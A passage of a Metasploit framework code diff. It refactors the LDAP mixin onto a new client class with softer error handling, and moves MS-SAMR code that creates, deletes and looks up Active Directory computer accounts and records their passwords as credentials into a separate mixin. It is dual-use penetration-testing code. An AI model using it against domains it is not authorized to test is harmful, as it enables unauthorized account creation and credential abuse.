|
||||
@@ -126,16 +159,15 @@ module Msf
|
||||
opts
|
||||
end
|
||||
|
||||
# Create a new LDAP connection using Net::LDAP.new and yield the
|
||||
# Create a new LDAP connection using Rex::Proto::LDAP::Client.new and yield the
|
||||
# resulting connection object to the caller of this method.
|
||||
#
|
||||
# @param opts [Hash] A hash containing the connection options for the
|
||||
# LDAP connection to the target server.
|
||||
# @yieldparam ldap [Net::LDAP] The LDAP connection handle to use for connecting to
|
||||
# @yieldparam ldap [Rex::Proto::LDAP::Client] The LDAP connection handle to use for connecting to
|
||||
# the target LDAP server.
|
||||
def ldap_new(opts = {})
|
||||
|
||||
ldap = Net::LDAP.new(resolve_connect_opts(get_connect_opts.merge(opts)))
|
||||
ldap = Rex::Proto::LDAP::Client.new(resolve_connect_opts(get_connect_opts.merge(opts)))
|
||||
|
||||
# NASTY, but required
|
||||
# monkey patch ldap object in order to ignore bind errors
|
||||
@@ -146,7 +178,7 @@ module Msf
|
||||
# access to the directory."
|
||||
# Bug created for Net:LDAP at https://github.com/ruby-ldap/ruby-net-ldap/issues/375
|
||||
#
|
||||
# @yieldparam conn [Net::LDAP] The LDAP connection handle to use for connecting to
|
||||
# @yieldparam conn [Rex::Proto::LDAP::Client] The LDAP connection handle to use for connecting to
|
||||
# the target LDAP server.
|
||||
# @param args [Hash] A hash containing options for the ldap connection
|
||||
def ldap.use_connection(args)
|
||||
@@ -158,7 +190,7 @@ module Msf
|
||||
conn.bind(args[:auth] || @auth)
|
||||
# Commented out vs. original
|
||||
# result = conn.bind(args[:auth] || @auth)
|
||||
# return result unless result.result_code == Net::LDAP::ResultCodeSuccess
|
||||
# return result unless result.result_code == Rex::Proto::LDAP::Client::ResultCodeSuccess
|
||||
yield conn
|
||||
ensure
|
||||
conn.close if conn
|
||||
@@ -168,69 +200,22 @@ module Msf
|
||||
yield ldap
|
||||
end
|
||||
|
||||
# Get the naming contexts for the target LDAP server.
|
||||
#
|
||||
# @param ldap [Net::LDAP] The Net::LDAP connection handle for the
|
||||
# current LDAP connection.
|
||||
# @return [Net::BER::BerIdentifiedArray] Array of naming contexts for the target LDAP server.
|
||||
def get_naming_contexts(ldap)
|
||||
vprint_status("#{peer} Getting root DSE")
|
||||
|
||||
unless (root_dse = ldap.search_root_dse)
|
||||
print_error("#{peer} Could not retrieve root DSE")
|
||||
return
|
||||
end
|
||||
|
||||
naming_contexts = root_dse[:namingcontexts]
|
||||
|
||||
# NOTE: Net::LDAP converts attribute names to lowercase
|
||||
if naming_contexts.empty?
|
||||
print_error("#{peer} Empty namingContexts attribute")
|
||||
return
|
||||
end
|
||||
|
||||
naming_contexts
|
||||
end
|
||||
|
||||
# Discover the base DN of the target LDAP server via the LDAP
|
||||
# server's naming contexts.
|
||||
#
|
||||
# @param ldap [Net::LDAP] The Net::LDAP connection handle for the
|
||||
# current LDAP connection.
|
||||
# @return [String] A string containing the base DN of the target LDAP server.
|
||||
def discover_base_dn(ldap)
|
||||
# @type [Net::BER::BerIdentifiedArray]
|
||||
naming_contexts = get_naming_contexts(ldap)
|
||||
|
||||
unless naming_contexts
|
||||
print_error("#{peer} Base DN cannot be determined")
|
||||
return
|
||||
end
|
||||
|
||||
# NOTE: Find the first entry that starts with `DC=` as this will likely be the base DN.
|
||||
naming_contexts.select! { |context| context =~ /^([Dd][Cc]=[A-Za-z0-9-]+,?)+$/ }
|
||||
naming_contexts.reject! { |context| context =~ /(Configuration)|(Schema)|(ForestDnsZones)/ }
|
||||
if naming_contexts.blank?
|
||||
print_error("#{peer} A base DN matching the expected format could not be found!")
|
||||
return
|
||||
end
|
||||
base_dn = naming_contexts[0]
|
||||
|
||||
print_good("#{peer} Discovered base DN: #{base_dn}")
|
||||
base_dn
|
||||
end
|
||||
|
||||
# Check whether it was possible to successfully bind to the target LDAP
|
||||
# server. Raise a RuntimeException with an appropriate error message
|
||||
# if not.
|
||||
#
|
||||
# @param ldap [Net::LDAP] The Net::LDAP connection handle for the
|
||||
# @param ldap [Rex::Proto::LDAP::Client] The Rex::Proto::LDAP::Client connection handle for the
|
||||
# current LDAP connection.
|
||||
#
|
||||
# @raise [RuntimeError] A RuntimeError will be raised if the LDAP
|
||||
# bind request failed.
|
||||
# @return [Nil] This function does not return any data.
|
||||
def validate_bind_success!(ldap)
|
||||
if defined?(:session) && session
|
||||
vprint_good('Successfully bound to the LDAP server via existing SESSION!')
|
||||
return
|
||||
end
|
||||
|
||||
bind_result = ldap.get_operation_result.table
|
||||
|
||||
# Codes taken from https://ldap.com/ldap-result-code-reference-core-ldapv3-result-codes
|
||||
@@ -242,7 +227,10 @@ module Msf
|
||||
when 7
|
||||
fail_with(Msf::Module::Failure::NoTarget, 'Target does not support the simple authentication mechanism!')
|
||||
when 8
|
||||
fail_with(Msf::Module::Failure::NoTarget, "Server requires a stronger form of authentication than we can provide! The error was: #{bind_result[:error_message].strip}")
|
||||
signing_statement = ''
|
||||
signing_statement = 'May require LDAP signing to be enabled (`set LDAP::Signing auto`). ' unless %w[ auto required ].include?(datastore['LDAP::Signing'])
|
||||
|
||||
fail_with(Msf::Module::Failure::NoTarget, "Server requires a stronger form of authentication! #{signing_statement}The error was: #{bind_result[:error_message].strip}")
|
||||
when 14
|
||||
fail_with(Msf::Module::Failure::NoTarget, "Server requires additional information to complete the bind. Error was: #{bind_result[:error_message].strip}")
|
||||
when 48
|
||||
@@ -263,7 +251,7 @@ module Msf
|
||||
# a 'error_message' containing an optional error message as a Net::BER::BerIdentifiedString,
|
||||
# a 'matched_dn' containing the matched DN,
|
||||
# and a 'message' containing the query result message.
|
||||
# @param filter [Net::LDAP::Filter] A Net::LDAP::Filter to use to
|
||||
# @param filter [Rex::Proto::LDAP::Client::Filter] A Rex::Proto::LDAP::Client::Filter to use to
|
||||
# filter the results of the query.
|
||||
#
|
||||
# @raise [RuntimeError, ArgumentError] A RuntimeError will be raised if the LDAP
|
||||
|
||||
@@ -0,0 +1,15 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
module Msf::Exploit::Remote::LDAP
|
||||
|
||||
class Error < ::StandardError
|
||||
|
||||
attr_reader :error_code
|
||||
attr_reader :operation_result
|
||||
def initialize(message: nil, error_code: nil, operation_result: nil)
|
||||
super(message || 'LDAP Error')
|
||||
@error_code = error_code
|
||||
@operation_result = operation_result
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -27,7 +27,7 @@ module Msf
|
||||
end
|
||||
|
||||
query_result_table = ldap.get_operation_result.table
|
||||
validate_query_result!(query_result_table, filter)
|
||||
validate_result!(query_result_table, filter)
|
||||
|
||||
if results.nil? || results.empty?
|
||||
print_error("No results found for #{filter}.")
|
||||
@@ -38,7 +38,17 @@ module Msf
|
||||
end
|
||||
|
||||
def perform_ldap_query_streaming(ldap, filter, attributes, base, schema_dn, scope: nil)
|
||||
attribute_properties = query_attributes_data(ldap, attributes.map(&:to_sym), schema_dn)
|
||||
if attributes.nil? || schema_dn.nil?
|
||||
attribute_properties = {}
|
||||
else
|
||||
begin
|
||||
attribute_properties = query_attributes_data(ldap, attributes.map(&:to_sym), schema_dn)
|
||||
rescue Msf::Exploit::Remote::LDAP::Error => e
|
||||
wlog("Failed getting attribute properties: #{e}", error: e)
|
||||
ensure
|
||||
attribute_properties ||= {}
|
||||
end
|
||||
end
|
||||
|
||||
scope ||= Net::LDAP::SearchScope_WholeSubtree
|
||||
result_count = 0
|
||||
@@ -81,7 +91,10 @@ module Msf
|
||||
when 'csv'
|
||||
print_line(tbl.to_csv)
|
||||
else
|
||||
fail_with(Msf::Module::Failure::BadConfig, "Invalid format #{format} passed to generate_rex_tables!")
|
||||
print_warning("Invalid format: #{format} Supported OUTPUT_FORMAT values are csv and table")
|
||||
# Default to table output, seems reasonable to output something if we have it rather than blow up
|
||||
print_status('Defaulting to table output')
|
||||
print_line(tbl.to_s)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -165,33 +178,6 @@ module Msf
|
||||
generate_rex_tables(entry, 'csv')
|
||||
end
|
||||
|
||||
def find_schema_dn(ldap, base)
|
||||
results = ldap.search(attributes: ['objectCategory'], base: base, filter: '(objectClass=*)', scope: Net::LDAP::SearchScope_BaseObject)
|
||||
validate_query_result!(ldap.get_operation_result.table)
|
||||
if results.blank?
|
||||
fail_with(Msf::Module::Failure::UnexpectedReply, "LDAP server didn't respond to our request to find the root DN!")
|
||||
end
|
||||
|
||||
# Double check that the entry has an instancetype attribute.
|
||||
unless results[0].to_h.key?(:objectcategory)
|
||||
fail_with(Failure::UnexpectedReply, "LDAP server didn't respond to the root DN request with the objectcategory attribute field!")
|
||||
end
|
||||
|
||||
object_category_raw = results[0][:objectcategory][0]
|
||||
schema_dn = object_category_raw.gsub(/CN=[A-Za-z0-9-]+,/, '')
|
||||
print_good("#{peer} Discovered schema DN: #{schema_dn}")
|
||||
|
||||
schema_dn
|
||||
end
|
||||
|
||||
def find_schema_naming_context(ldap)
|
||||
result = ldap.search(scope: 0, base: '', attributes: [:schemanamingcontext])
|
||||
if result.first && result.first[:schemanamingcontext]
|
||||
return result.first[:schemanamingcontext].first
|
||||
end
|
||||
''
|
||||
end
|
||||
|
||||
def query_attributes_data(ldap, attributes, schema_dn)
|
||||
attribute_properties = {}
|
||||
|
||||
@@ -206,8 +192,7 @@ module Msf
|
||||
return unless filter.include?('LDAPDisplayName=')
|
||||
|
||||
attributes_data = ldap.search(base: schema_dn, filter: filter, attributes: %i[LDAPDisplayName isSingleValued oMSyntax attributeSyntax])
|
||||
query_result_table = ldap.get_operation_result.table
|
||||
validate_query_result!(query_result_table)
|
||||
validate_result!(ldap.get_operation_result)
|
||||
|
||||
attributes_data.each do |entry|
|
||||
ldap_display_name = entry[:ldapdisplayname][0].to_s.downcase.to_sym
|
||||
@@ -252,7 +237,8 @@ module Msf
|
||||
sid_data = Rex::Proto::MsDtyp::MsDtypSid.read(object_sid_raw)
|
||||
sid_string = sid_data.to_s
|
||||
rescue IOError => e
|
||||
fail_with(Msf::Module::Failure::UnexpectedReply, "Failed to read SID. Error was #{e.message}")
|
||||
elog("Failed to read SID. Error was #{e.message}")
|
||||
next
|
||||
end
|
||||
normalized_attribute[0] = sid_string
|
||||
elsif attribute_property[:attributesyntax] == '2.5.5.10' # OctetString
|
||||
@@ -265,7 +251,8 @@ module Msf
|
||||
decoded_guid = Rex::Proto::MsDtyp::MsDtypGuid.read(bin_guid)
|
||||
decoded_guid_string = decoded_guid.get
|
||||
rescue IOError => e
|
||||
fail_with(Msf::Module::Failure::UnexpectedReply, "Failed to read GUID. Error was #{e.message}")
|
||||
elog("Failed to read GUID. Error was #{e.message}")
|
||||
next
|
||||
end
|
||||
normalized_attribute[0] = decoded_guid_string
|
||||
end
|
||||
@@ -316,19 +303,24 @@ module Msf
|
||||
when 'json'
|
||||
output_json_data(entry)
|
||||
else
|
||||
fail_with(Msf::Module::Failure::BadConfig, 'Supported OUTPUT_FORMAT values are csv, table and json')
|
||||
print_warning("Invalid format: #{output_format} Supported OUTPUT_FORMAT values are csv, table and json")
|
||||
# Default to table output, seems reasonable to output something if we have it rather than blow up
|
||||
print_status('Defaulting to table output')
|
||||
output_data_table(entry)
|
||||
end
|
||||
end
|
||||
|
||||
def run_queries_from_file(ldap, queries, base_dn, schema_dn, output_format)
|
||||
def run_queries_from_file(ldap, queries, schema_dn, output_format, base_dn: nil)
|
||||
base_dn ||= ldap.base_dn
|
||||
queries.each do |query|
|
||||
unless query['action'] && query['filter'] && query['attributes']
|
||||
fail_with(Msf::Module::Failure::BadConfig, "Each query in the query file must at least contain a 'action', 'filter' and 'attributes' attribute!")
|
||||
print_warning "Each query in the query file must at least contain a 'action', 'filter' and 'attributes' attribute!"
|
||||
next
|
||||
end
|
||||
attributes = query['attributes']
|
||||
if attributes.nil? || attributes.empty?
|
||||
print_warning('At least one attribute needs to be specified per query in the query file for entries to work!')
|
||||
break
|
||||
next
|
||||
end
|
||||
filter = Net::LDAP::Filter.construct(query['filter'])
|
||||
print_status("Running #{query['action']}...")
|
||||
@@ -342,6 +334,15 @@ module Msf
|
||||
end
|
||||
end
|
||||
|
||||
def validate_result!(operation_result)
|
||||
code = operation_result.table[:code]
|
||||
if code == 0
|
||||
dlog('Operation was successful')
|
||||
else
|
||||
raise Msf::Exploit::Remote::LDAP::Error.new(error_code: code, operation_result: operation_result)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -9,7 +9,6 @@ module Msf
|
||||
module Exploit::Remote::MsSamr
|
||||
|
||||
include Msf::Exploit::Remote::SMB::Client::Authenticated
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
class MsSamrError < StandardError; end
|
||||
class MsSamrConnectionError < MsSamrError; end
|
||||
@@ -19,147 +18,8 @@ module Exploit::Remote::MsSamr
|
||||
class MsSamrUnknownError < MsSamrError; end
|
||||
class MsSamrBadConfigError < MsSamrError; end
|
||||
|
||||
ComputerInfo = Struct.new(:name, :password)
|
||||
SamrConnection = Struct.new(:samr, :server_handle, :domain_handle, :domain_name)
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_options([
|
||||
OptString.new('COMPUTER_NAME', [ false, 'The computer name' ]),
|
||||
OptString.new('COMPUTER_PASSWORD', [ false, 'The password for the new computer' ]),
|
||||
], Msf::Exploit::Remote::MsSamr)
|
||||
end
|
||||
|
||||
def add_computer(opts = {})
|
||||
tree = opts[:tree] || connect_ipc
|
||||
|
||||
samr_con = connect_samr(tree)
|
||||
|
||||
computer_name = opts[:computer_name] || datastore['COMPUTER_NAME']
|
||||
if computer_name.blank?
|
||||
computer_name = random_hostname
|
||||
4.downto(0) do |attempt|
|
||||
break if samr_con.samr.samr_lookup_names_in_domain(
|
||||
domain_handle: samr_con.domain_handle,
|
||||
names: [ computer_name ]
|
||||
).nil?
|
||||
|
||||
computer_name = random_hostname
|
||||
raise MsSamrBadConfigError, 'Could not find an unused computer name.' if attempt == 0
|
||||
end
|
||||
else
|
||||
if samr_con.samr.samr_lookup_names_in_domain(domain_handle: samr_con.domain_handle, names: [ computer_name ])
|
||||
raise MsSamrBadConfigError, 'The specified computer name already exists.'
|
||||
end
|
||||
end
|
||||
|
||||
result = samr_con.samr.samr_create_user2_in_domain(
|
||||
domain_handle: samr_con.domain_handle,
|
||||
name: computer_name,
|
||||
account_type: RubySMB::Dcerpc::Samr::USER_WORKSTATION_TRUST_ACCOUNT,
|
||||
desired_access: RubySMB::Dcerpc::Samr::USER_FORCE_PASSWORD_CHANGE | RubySMB::Dcerpc::Samr::MAXIMUM_ALLOWED
|
||||
)
|
||||
|
||||
user_handle = result[:user_handle]
|
||||
if datastore['COMPUTER_PASSWORD'].blank?
|
||||
computer_password = Rex::Text.rand_text_alphanumeric(32)
|
||||
else
|
||||
computer_password = datastore['COMPUTER_PASSWORD']
|
||||
end
|
||||
|
||||
user_info = RubySMB::Dcerpc::Samr::SamprUserInfoBuffer.new(
|
||||
tag: RubySMB::Dcerpc::Samr::USER_INTERNAL4_INFORMATION_NEW,
|
||||
member: RubySMB::Dcerpc::Samr::SamprUserInternal4InformationNew.new(
|
||||
i1: {
|
||||
password_expired: 1,
|
||||
which_fields: RubySMB::Dcerpc::Samr::USER_ALL_NTPASSWORDPRESENT | RubySMB::Dcerpc::Samr::USER_ALL_PASSWORDEXPIRED
|
||||
},
|
||||
user_password: {
|
||||
buffer: RubySMB::Dcerpc::Samr::SamprEncryptedUserPasswordNew.encrypt_password(
|
||||
computer_password,
|
||||
@simple.client.application_key
|
||||
)
|
||||
}
|
||||
)
|
||||
)
|
||||
samr_con[:samr].samr_set_information_user2(
|
||||
user_handle: user_handle,
|
||||
user_info: user_info
|
||||
)
|
||||
|
||||
user_info = RubySMB::Dcerpc::Samr::SamprUserInfoBuffer.new(
|
||||
tag: RubySMB::Dcerpc::Samr::USER_CONTROL_INFORMATION,
|
||||
member: RubySMB::Dcerpc::Samr::UserControlInformation.new(
|
||||
user_account_control: RubySMB::Dcerpc::Samr::USER_WORKSTATION_TRUST_ACCOUNT
|
||||
)
|
||||
)
|
||||
samr_con.samr.samr_set_information_user2(
|
||||
user_handle: user_handle,
|
||||
user_info: user_info
|
||||
)
|
||||
print_good("Successfully created #{samr_con.domain_name}\\#{computer_name}")
|
||||
print_good(" Password: #{computer_password}")
|
||||
print_good(" SID: #{get_computer_sid(samr_con, computer_name)}")
|
||||
report_creds(samr_con.domain_name, computer_name, computer_password)
|
||||
|
||||
ComputerInfo.new(computer_name, computer_password)
|
||||
|
||||
rescue RubySMB::Dcerpc::Error::SamrError => e
|
||||
raise MsSamrUnknownError, "A DCERPC SAMR error occurred: #{e.message}"
|
||||
ensure
|
||||
if samr_con
|
||||
samr_con.samr.close_handle(user_handle) if user_handle
|
||||
samr_con.samr.close_handle(samr_con.domain_handle) if samr_con.domain_handle
|
||||
samr_con.samr.close_handle(samr_con.server_handle) if samr_con.server_handle
|
||||
end
|
||||
end
|
||||
|
||||
def delete_computer(opts = {})
|
||||
tree = opts[:tree] || connect_ipc
|
||||
|
||||
samr_con = connect_samr(tree)
|
||||
|
||||
computer_name = opts[:computer_name] || datastore['COMPUTER_NAME']
|
||||
if computer_name.blank?
|
||||
raise MsSamrBadConfigError, 'Unable to delete the computer account since its name is unknown'
|
||||
end
|
||||
|
||||
details = samr_con.samr.samr_lookup_names_in_domain(domain_handle: samr_con.domain_handle, names: [ computer_name ])
|
||||
raise MsSamrBadConfigError, 'The specified computer was not found.' if details.nil?
|
||||
details = details[computer_name]
|
||||
|
||||
user_handle = samr_con.samr.samr_open_user(domain_handle: samr_con.domain_handle, user_id: details[:rid])
|
||||
samr_con.samr.samr_delete_user(user_handle: user_handle)
|
||||
print_good('The specified computer has been deleted.')
|
||||
rescue RubySMB::Dcerpc::Error::SamrError => e
|
||||
# `user_handle` only needs to be closed if an error occurs in `samr_delete_user`
|
||||
# If this method succeed, the server took care of closing the handle
|
||||
samr_con.samr.close_handle(user_handle) if user_handle
|
||||
raise MsSamrUnknownError, "Could not delete the computer #{computer_name}: #{e.message}"
|
||||
ensure
|
||||
samr_con.samr.close_handle(samr_con.domain_handle) if samr_con.domain_handle
|
||||
samr_con.samr.close_handle(samr_con.server_handle) if samr_con.server_handle
|
||||
end
|
||||
|
||||
def lookup_computer(opts = {})
|
||||
tree = opts[:tree] || connect_ipc
|
||||
|
||||
samr_con = connect_samr(tree)
|
||||
|
||||
computer_name = opts[:computer_name] || datastore['COMPUTER_NAME']
|
||||
if computer_name.blank?
|
||||
raise MsSamrBadConfigError, 'Unable to lookup the computer account since its name is unknown'
|
||||
end
|
||||
|
||||
sid = get_computer_sid(samr_con, computer_name)
|
||||
print_good("Found #{samr_con.domain_name}\\#{computer_name} (SID: #{sid})")
|
||||
ensure
|
||||
samr_con.samr.close_handle(samr_con.domain_handle) if samr_con.domain_handle
|
||||
samr_con.samr.close_handle(samr_con.server_handle) if samr_con.server_handle
|
||||
end
|
||||
|
||||
|
||||
module_function
|
||||
|
||||
def connect_ipc
|
||||
@@ -204,7 +64,7 @@ module Exploit::Remote::MsSamr
|
||||
raise MsSamrUnexpectedReplyError, "Connection failed (DCERPC fault: #{e.status_name})"
|
||||
end
|
||||
|
||||
if datastore['SMBDomain'].blank? || datastore['SMBDomain'] == '.'
|
||||
if domain.blank? || domain == '.'
|
||||
all_domains = samr.samr_enumerate_domains_in_sam_server(server_handle: server_handle).map(&:to_s).map(&:encode)
|
||||
all_domains.delete('Builtin')
|
||||
if all_domains.empty?
|
||||
@@ -217,7 +77,7 @@ module Exploit::Remote::MsSamr
|
||||
domain_name = all_domains.first
|
||||
print_status("Using automatically identified domain: #{domain_name}")
|
||||
else
|
||||
domain_name = datastore['SMBDomain']
|
||||
domain_name = domain
|
||||
end
|
||||
|
||||
domain_sid = samr.samr_lookup_domain(server_handle: server_handle, name: domain_name)
|
||||
@@ -232,53 +92,5 @@ module Exploit::Remote::MsSamr
|
||||
elog(e.message, error: e)
|
||||
raise MsSamrUnknownError, e.message
|
||||
end
|
||||
|
||||
def random_hostname(prefix: 'DESKTOP')
|
||||
"#{prefix}-#{Rex::Text.rand_base(8, '', ('A'..'Z').to_a + ('0'..'9').to_a)}$"
|
||||
end
|
||||
|
||||
def report_creds(domain, username, password)
|
||||
service_data = {
|
||||
address: datastore['RHOST'],
|
||||
port: datastore['RPORT'],
|
||||
service_name: 'smb',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
module_fullname: fullname,
|
||||
origin_type: :service,
|
||||
private_data: password,
|
||||
private_type: :password,
|
||||
username: username,
|
||||
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
|
||||
realm_value: domain
|
||||
}.merge(service_data)
|
||||
|
||||
credential_core = create_credential(credential_data)
|
||||
|
||||
login_data = {
|
||||
core: credential_core,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def get_computer_sid(samr_con, computer_name)
|
||||
details = samr_con.samr.samr_lookup_names_in_domain(
|
||||
domain_handle: samr_con.domain_handle,
|
||||
names: [ computer_name ]
|
||||
)
|
||||
raise MsSamrNotFoundError, 'The computer was not found.' if details.nil?
|
||||
|
||||
details = details[computer_name]
|
||||
samr_con.samr.samr_rid_to_sid(
|
||||
object_handle: samr_con.domain_handle,
|
||||
rid: details[:rid]
|
||||
).to_s
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,203 @@
|
||||
###
|
||||
#
|
||||
# This mixin provides methods to add, delete and lookup computer accounts via MS-SAMR
|
||||
#
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
|
||||
module Exploit::Remote::MsSamr::Computer
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::MsSamr
|
||||
|
||||
ComputerInfo = Struct.new(:name, :password)
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_options([
|
||||
OptString.new('COMPUTER_NAME', [ false, 'The computer name' ]),
|
||||
OptString.new('COMPUTER_PASSWORD', [ false, 'The password for the new computer' ]),
|
||||
], Msf::Exploit::Remote::MsSamr)
|
||||
end
|
||||
|
||||
def add_computer(opts = {})
|
||||
tree = opts[:tree] || connect_ipc
|
||||
|
||||
samr_con = connect_samr(tree)
|
||||
|
||||
computer_name = opts[:computer_name] || datastore['COMPUTER_NAME']
|
||||
if computer_name.blank?
|
||||
computer_name = random_hostname
|
||||
4.downto(0) do |attempt|
|
||||
break if samr_con.samr.samr_lookup_names_in_domain(
|
||||
domain_handle: samr_con.domain_handle,
|
||||
names: [ computer_name ]
|
||||
).nil?
|
||||
|
||||
computer_name = random_hostname
|
||||
raise MsSamrBadConfigError, 'Could not find an unused computer name.' if attempt == 0
|
||||
end
|
||||
else
|
||||
if samr_con.samr.samr_lookup_names_in_domain(domain_handle: samr_con.domain_handle, names: [ computer_name ])
|
||||
raise MsSamrBadConfigError, 'The specified computer name already exists.'
|
||||
end
|
||||
end
|
||||
|
||||
result = samr_con.samr.samr_create_user2_in_domain(
|
||||
domain_handle: samr_con.domain_handle,
|
||||
name: computer_name,
|
||||
account_type: RubySMB::Dcerpc::Samr::USER_WORKSTATION_TRUST_ACCOUNT,
|
||||
desired_access: RubySMB::Dcerpc::Samr::USER_FORCE_PASSWORD_CHANGE | RubySMB::Dcerpc::Samr::MAXIMUM_ALLOWED
|
||||
)
|
||||
|
||||
user_handle = result[:user_handle]
|
||||
computer_password = opts[:computer_password] || datastore['COMPUTER_PASSWORD']
|
||||
if computer_password.blank?
|
||||
computer_password = Rex::Text.rand_text_alphanumeric(32)
|
||||
else
|
||||
computer_password = datastore['COMPUTER_PASSWORD']
|
||||
end
|
||||
|
||||
user_info = RubySMB::Dcerpc::Samr::SamprUserInfoBuffer.new(
|
||||
tag: RubySMB::Dcerpc::Samr::USER_INTERNAL4_INFORMATION_NEW,
|
||||
member: RubySMB::Dcerpc::Samr::SamprUserInternal4InformationNew.new(
|
||||
i1: {
|
||||
password_expired: 1,
|
||||
which_fields: RubySMB::Dcerpc::Samr::USER_ALL_NTPASSWORDPRESENT | RubySMB::Dcerpc::Samr::USER_ALL_PASSWORDEXPIRED
|
||||
},
|
||||
user_password: {
|
||||
buffer: RubySMB::Dcerpc::Samr::SamprEncryptedUserPasswordNew.encrypt_password(
|
||||
computer_password,
|
||||
@simple.client.application_key
|
||||
)
|
||||
}
|
||||
)
|
||||
)
|
||||
samr_con.samr.samr_set_information_user2(
|
||||
user_handle: user_handle,
|
||||
user_info: user_info
|
||||
)
|
||||
|
||||
user_info = RubySMB::Dcerpc::Samr::SamprUserInfoBuffer.new(
|
||||
tag: RubySMB::Dcerpc::Samr::USER_CONTROL_INFORMATION,
|
||||
member: RubySMB::Dcerpc::Samr::UserControlInformation.new(
|
||||
user_account_control: RubySMB::Dcerpc::Samr::USER_WORKSTATION_TRUST_ACCOUNT
|
||||
)
|
||||
)
|
||||
samr_con.samr.samr_set_information_user2(
|
||||
user_handle: user_handle,
|
||||
user_info: user_info
|
||||
)
|
||||
print_good("Successfully created #{samr_con.domain_name}\\#{computer_name}")
|
||||
print_good(" Password: #{computer_password}")
|
||||
print_good(" SID: #{get_computer_sid(samr_con, computer_name)}")
|
||||
report_creds(samr_con.domain_name, computer_name, computer_password)
|
||||
|
||||
ComputerInfo.new(computer_name, computer_password)
|
||||
|
||||
rescue RubySMB::Dcerpc::Error::SamrError => e
|
||||
raise MsSamrUnknownError, "A DCERPC SAMR error occurred: #{e.message}"
|
||||
ensure
|
||||
if samr_con
|
||||
samr_con.samr.close_handle(user_handle) if user_handle
|
||||
samr_con.samr.close_handle(samr_con.domain_handle) if samr_con.domain_handle
|
||||
samr_con.samr.close_handle(samr_con.server_handle) if samr_con.server_handle
|
||||
end
|
||||
end
|
||||
|
||||
def delete_computer(opts = {})
|
||||
tree = opts[:tree] || connect_ipc
|
||||
|
||||
samr_con = connect_samr(tree)
|
||||
|
||||
computer_name = opts[:computer_name] || datastore['COMPUTER_NAME']
|
||||
if computer_name.blank?
|
||||
raise MsSamrBadConfigError, 'Unable to delete the computer account since its name is unknown'
|
||||
end
|
||||
|
||||
details = samr_con.samr.samr_lookup_names_in_domain(domain_handle: samr_con.domain_handle, names: [ computer_name ])
|
||||
raise MsSamrBadConfigError, 'The specified computer was not found.' if details.nil?
|
||||
details = details[computer_name]
|
||||
|
||||
user_handle = samr_con.samr.samr_open_user(domain_handle: samr_con.domain_handle, user_id: details[:rid])
|
||||
samr_con.samr.samr_delete_user(user_handle: user_handle)
|
||||
print_good('The specified computer has been deleted.')
|
||||
rescue RubySMB::Dcerpc::Error::SamrError => e
|
||||
# `user_handle` only needs to be closed if an error occurs in `samr_delete_user`
|
||||
# If this method succeed, the server took care of closing the handle
|
||||
samr_con.samr.close_handle(user_handle) if user_handle
|
||||
raise MsSamrUnknownError, "Could not delete the computer #{computer_name}: #{e.message}"
|
||||
ensure
|
||||
samr_con.samr.close_handle(samr_con.domain_handle) if samr_con.domain_handle
|
||||
samr_con.samr.close_handle(samr_con.server_handle) if samr_con.server_handle
|
||||
end
|
||||
|
||||
def lookup_computer(opts = {})
|
||||
tree = opts[:tree] || connect_ipc
|
||||
|
||||
samr_con = connect_samr(tree)
|
||||
|
||||
computer_name = opts[:computer_name] || datastore['COMPUTER_NAME']
|
||||
if computer_name.blank?
|
||||
raise MsSamrBadConfigError, 'Unable to lookup the computer account since its name is unknown'
|
||||
end
|
||||
|
||||
sid = get_computer_sid(samr_con, computer_name)
|
||||
print_good("Found #{samr_con.domain_name}\\#{computer_name} (SID: #{sid})")
|
||||
ensure
|
||||
samr_con.samr.close_handle(samr_con.domain_handle) if samr_con.domain_handle
|
||||
samr_con.samr.close_handle(samr_con.server_handle) if samr_con.server_handle
|
||||
end
|
||||
|
||||
module_function
|
||||
|
||||
def random_hostname(prefix: 'DESKTOP')
|
||||
"#{prefix}-#{Rex::Text.rand_base(8, '', ('A'..'Z').to_a + ('0'..'9').to_a)}$"
|
||||
end
|
||||
|
||||
def get_computer_sid(samr_con, computer_name)
|
||||
details = samr_con.samr.samr_lookup_names_in_domain(
|
||||
domain_handle: samr_con.domain_handle,
|
||||
names: [ computer_name ]
|
||||
)
|
||||
raise MsSamrNotFoundError, 'The computer was not found.' if details.nil?
|
||||
|
||||
details = details[computer_name]
|
||||
samr_con.samr.samr_rid_to_sid(
|
||||
object_handle: samr_con.domain_handle,
|
||||
rid: details[:rid]
|
||||
).to_s
|
||||
end
|
||||
|
||||
def report_creds(domain, username, password)
|
||||
service_data = {
|
||||
address: rhost,
|
||||
port: rport,
|
||||
service_name: 'smb',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
module_fullname: fullname,
|
||||
origin_type: :service,
|
||||
private_data: password,
|
||||
private_type: :password,
|
||||
username: username,
|
||||
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
|
||||
realm_value: domain
|
||||
}.merge(service_data)
|
||||
|
||||
credential_core = create_credential(credential_data)
|
||||
|
||||
login_data = {
|
||||
core: credential_core,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -19,6 +19,11 @@ module Exploit::Remote::MSSQL
|
||||
|
||||
attr_accessor :mssql_client
|
||||
|
||||
ENCRYPT_OFF = 0x00 #Encryption is available but off.
|
||||
